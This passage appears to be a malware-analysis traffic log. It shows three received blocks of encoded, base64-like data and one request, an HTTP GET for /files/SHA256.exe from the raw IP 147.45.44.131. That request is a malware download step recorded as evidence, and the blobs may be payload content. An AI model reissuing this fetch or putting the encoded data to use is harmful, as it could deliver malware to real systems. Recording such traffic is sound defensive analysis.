| Data received | 3 A e B 0 f F P j j 4 n B a g o F B c S D / n g + + I / g F I v g y 5 F x j z 4 w B T P 4 l u j 2 h 2 a C 7 O 2 E J D y K 9 Q c h 0 + 9 Z A G 4 B Z 5 K 8 + T 7 n 3 4 X z J N t H 4 a v Y D n L K l y y 8 D 0 1 N V 7 h A e E B N s 0 g r 5 0 o e K 3 G H B R w W H 6 7 y D j I U d 4 6 a 0 w f Q I u L i D b Z 6 W m / W C i 4 k C B O 5 A 2 B N j u b f u A 9 i W w / x S o f 6 Z B 5 G F C B K / V H A e 5 0 c D f D c O m b z F C A m 0 p 6 N U 7 u G c W I S D 3 / V 6 7 m a V I z v L C i k 1 X J I w u / 5 l 0 j p h 3 y 7 s 3 h h f i a q s o y y u E g / R A J p S 1 T / Q x Z Z O s S V 1 S m J u G I J 3 M f z Y p H M l o 2 q a R x z m w w O E w T H k z 6 6 P Y z s J 2 o x 2 W d 7 3 a 0 F l F 9 b W W m u A / M R m M P F H H 3 S I 1 1 W M 3 3 / O / K 1 8 + T S X h B 2 s R b P a k Y T P H r M E H o 3 C 2 M f k S 5 o a r w I 0 K 3 N F q 3 G W R o P 9 w b p A q / X m w I s 8 t 8 Q h Y A a E 9 M 0 b y w z c X O v Z 9 P A u c p a 3 W 9 1 9 s + / s + w Q F B a N 2 e p Q I x 5 5 c s h d P h + A O / D A n l l i S q V y l Z 3 6 T A V / T d Q L 7 G t N z L J 7 y P b 9 r c D / x 4 b 4 j g 9 1 H A c W Y e C 3 7 g B A P g k j d 9 M p 0 z r p 5 u T I Q E 5 F S Z m G h + y 1 2 x s Y 6 n 2 y h g v j P x h x j T a 7 9 B Q 9 n i m B k b 9 B N N J s B o x 3 g s I E a Q T k z F L G s O D p R 5 L y R r 6 M H o 2 8 E b r z N / 2 4 / v 5 + k 5 H C R a Y 5 A g s Y 7 V R L V W d t n B 2 g l p b e Z p o f z b T J c W T 3 F K F Q x w p 4 h c z P d m a 9 w 4 q U j 6 T k K d K i w G Z X 2 p y a l Q F E h g t R t 6 C E 1 + L w j y 9 M 0 t 5 6 x g B d i A 4 q c 3 5 2 e C 4 Y j 1 H B W 5 + Z t 8 w e 9 R s 0 R v W x X U u A I b a m d H W A U m l / 3 N q j F + 5 C v 2 T h l b h s 3 U b 3 9 z O s p P G w R i P 0 s q m j r 0 8 Y 2 l X 3 7 H 2 Q G H p M d K V m P W f G 0 K j 5 O / 9 e H R d 7 d d a / L n m W Q Y t c c y 2 X S B 3 7 u f Q 2 i j p E c r T Y C t J k e A + K c t Z U q v m / W a o y j 3 B a Y 3 1 9 j 3 X k v U 1 c R S T K 7 K N E 5 F 7 0 O S k S i 3 B B l h T g K s q G 9 C 5 Z k h l J A e H v 1 Z S E v U 4 Y i I H O w / 7 h 3 j L w 6 r C q b F H X A 4 U l w y J S L e n v U L B l h D 5 J / e c x B K 4 G 9 g X X A 8 4 2 g X R L g A J 7 p n y z N k K h I Y S M 8 I O G f k Z d D P S r k V w M V X k h 2 o W 6 Z x I |
| Data received | W Y b z V Y 6 o Z q P Q a 2 D C l 5 a 8 G R m Y 4 V F 7 e I x L R S 6 1 u O r 1 s X p A M N d c N 1 D R s 3 B X b f a f x b O f O B 4 M B p 3 S 9 J C o k 3 O 6 c I 1 b Y R c H O 1 e U 5 V j w 7 1 i 1 c 6 a y A p Y Q o M d e V i o F d 4 g C W y x n 7 r e K 4 N d 2 k d Y / a a P N 3 A E / P D W y 6 Z v 4 r i v 9 Q b Q c d l 3 l G k o C W u M A E u G u z M P 1 + P d b j c 1 x 9 n i E 9 O 3 I o d u 1 k T W X D r D W L k L m N F 1 q W S I s g 9 u / C n 6 e V 1 f 7 E i N 8 7 E e c i U q R K H 3 7 p n 1 T H t C U 9 z Y c G D 3 n E f 1 Y l A k 5 4 w Q Z X P S W 9 2 C 6 P r Z 3 u M 8 o g T y u e 0 Z q R v F c I V a 9 Y X f o 9 u W 5 0 O h 0 s P P M t Y 5 v Y H f I H A J A r m L k G w 7 I y N / x T M N k T Z 6 G Y V l P y 6 U Q F G m K y H n T z 7 l 3 U g Y G l 1 o Z 6 Z b b x V B T c k w 1 O w u b M n a 3 b R t O 5 / f R Y J a s R 4 C / S Q 6 Y M U D N J s / w B / G v O t 7 8 I k a l I S c A 3 Z E c P V n 2 F P e m N 2 d V 7 9 R e a w R b 5 b d G s w d k H y u H U 5 x Z 2 w 7 R c Y M 1 o V T X G x w F R 9 J h D R o T X p + O j o d j a y P 0 j p n q a g 9 t r o p q d a 3 + K d W e H q T T c D 7 3 1 5 L 7 R u H B 3 l Y B b d f I S B E u 0 x M z x E j G B m p Q I P U z J u 7 9 G n T U B D R y Q S Q 0 B n i C h I k p b C q O O 0 S I O 7 C l e 7 M q e j U H / 1 l t y + 1 c d z R X Q N t q j L F X Y N s s 0 5 T w W B k z 9 I j 3 O n U M Y / i S l W F T B x D 2 5 y + F W S a g w v t M 0 r a X q f 4 B 8 C h G + 3 G f B i P v 1 a 1 O h g F e J 3 r S x m d y 8 r p i 7 0 X 5 2 v d E P N 9 M j p J 2 M L j Z x e c P y e n k m q A X W U 5 8 k d i m g g 5 H / j o L k r X 8 I K Y s Y S / c 3 c a m D 7 q k 8 E X h a P x e x O N g h k 8 2 R P 6 1 N a S r a Y K V s c y g L A G B 1 C M d z r z 9 D S c L y k V m Y + I n b W T z j U s C l n B 9 u r B X g d S A W a 4 3 Z T y 1 9 8 9 b o f d M f Q Z 9 + 5 5 3 I 3 n j j w F 4 X C i L u C Y U o e E b Y T s J 1 w c o 9 h 2 L F K b l O B n o x g p Y N R 3 J f I o N v 0 0 N k k E A 4 3 Q r o R P X O f 6 i / 2 j / q 4 v F 4 v 2 4 q x O x h w Y W o 4 K v p 2 P Y f z a L 9 E 7 Q F g Z c j x 3 F g 3 6 e U X t d u K 3 W M V P b F 9 F S o y C E B z I H A J q k q a / B z o B 8 J c F l 5 w 9 K s / 5 A n z V 8 X C u j 4 E S 1 P 2 1 1 3 G Z J u 2 0 w Y g i 1 8 3 F r K A F x 6 c 2 p B j + I c N 3 G i G p h C i 9 X O g 4 m F 6 b 9 V p N L b P a 4 6 L / C 9 f 1 7 o Y M X r y n R B 9 2 9 O w f G X F d / w O 3 Y z d e i S q v G A 0 c x i y E R H C 2 9 2 a k D i 0 r 5 F + V U 6 V G O I E U a u i 1 C V + P y U H u F w + 8 s 1 v Y K c U / G U s B N C o o 8 7 t c r F 6 s u Y N V S x 8 5 W F p h Q j M O u x C R M k N k z 4 q A N d T y 8 W 0 s r T L 6 H l D e l 9 7 V 2 n R q U 1 2 c d a g w x i W t Q O d / h C G 1 X G Z z z 7 7 d U n G t / p g C A O q 9 a R f D p A Y J R Q s U j |
| Data received | D X V q k 9 L F Q 8 1 N k h L S j F 4 P w M s W n K + v 3 3 o w g w 0 + 6 h E 1 E O x Y s o s i H R t C K P W o 0 W / W F 3 F 6 i P e l x N f E p / c q a / A e I m n g K e O 0 a o p q U Z u 7 9 U k + B G q + C n U C G B y v + 5 N r Y x B d U y E l 6 p j k h B a 5 9 J U F L 4 c Q U X X u A c a q F O n F X z b I / A 3 L o 1 v + F J Q F c D H E 4 7 4 t / p 5 a u O n J a c J 7 / u s i w q y o J g A z V 3 B 0 a s A O / N Q e s Y S z + q 5 R p s w J S z Y 3 u a G Z t 0 7 2 f C j M i f m 8 z 2 y P t p Q Y E J 9 n r v z K q q S k y B h q f H t u u 9 / + N X R B V M W m i O P 9 0 h A J o g N 0 L 9 Q 4 O l y 0 6 l E M o R 8 e k m D W r A 0 U i W p e k h V d 6 y i S l N M P g E 5 s + Y C X 7 f X D N 6 2 I O M W C E i I X L S D s H N m h t X J 8 G h a t 8 Q H 6 L T M / v v r t n O x D T a e j T E G d 5 E p 3 Q l 4 + 2 u i O i n x Q 8 3 7 X t F 0 8 + P g L I z f O L S C v l C R 1 G w Q 6 P 2 Z y L n n b n l K N 3 a g P Z b U 4 a v Z X 2 4 I d a r T H Z F M 9 n 8 v F E J P 1 u I K X 2 2 0 l R a 8 A l y C U X E v c l l H W J n s E N G K d 6 W q g F 9 S 8 9 I e 3 1 m T G i B u + p h y G w / 8 g s X a G V n o L 3 k M I D n b p n e E e G t J / V 3 z D 7 0 9 M 4 c z 0 o 6 h q I M P / 2 I b Y 7 i i v h P y P p 1 s A 3 a H p q 3 i g z O / y 0 M k 7 p G k e l V S G p E y 6 / g r T G x H O k t H / e v g Y s H 2 g E s f K b n W + P Z F B 7 M o l v Y 1 J M p W X z a e S g 3 5 s L M A z m 4 Q w w 4 h r H d G H o X / 2 4 C q h N 0 s A c 2 k e s n p u V u z n L K u f 7 Q 6 O 4 M b d Q v s Q u 1 e P L O j z / m C C Z q R L K p 4 a O g u 8 F e V R u n f c v U G M 6 K o G A 1 / 9 J L 1 8 c F I a S M b P B M p 9 + S 0 K H i k w 4 b 1 f Z z M f g g X G c s d C g T u 3 k w k D a f I M u x u z j a 7 v O g z n y r p 6 v K F o 4 h Q Y J 4 N e r x 3 4 p O z n + 9 I O P o X R q p E j K 2 k b d 0 n q h m Y i v C I / w i v W 3 9 h i z m H a r T m K z 0 w S 3 9 L o V c B b U g p R S n d F A L l u 0 8 s b D 2 d w 0 S 7 u 7 E s X 3 d b D t + h U K R X W 2 d 3 w f f a u / + V w + y x E q H k w c M E 0 / X 3 y M M k j n U 2 C h H d a A f y S t o W G s / 8 b Q y Q I r W R K S 8 V E 3 Y X k I w V m W R 9 T d q a w j x q 3 d T K f a k Z f 7 k U i C L a O p z b Z v z 7 p e B 5 c n j M Q C 5 T O E F c z k V T + E p a x 1 N d q b D r U x T f P G a t B T J A x 0 Z Z n 5 9 d 5 3 P c V V 0 v z 1 C t T H P R B u z S z v r O l m N K R D e Y Q K 7 l 2 o Q v P O l O 3 K p C 6 C g 7 s z x Q l D D e b M f n 5 f U A K c q j I f h f 1 E D w K q 0 W 6 D / 2 1 F S 0 c y x m g Z U H P O J X 5 t a z F f 3 9 4 s z S O Z j R g Y a e D + s z a f i s G m O o K a c B C U 9 q 5 g 3 7 V 8 x + C l L f p M 7 f i d N y P G u p M l u F E 2 4 9 J j I 7 L Q r A L w k v X n U k 2 0 3 G 9 y L F V x 6 9 c t b S c G 4 R E U 8 w f D E J A 8 6 q k s E q / |
| Data sent | GET /files/SHA256.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive |
| host | 147.45.44.131 | |||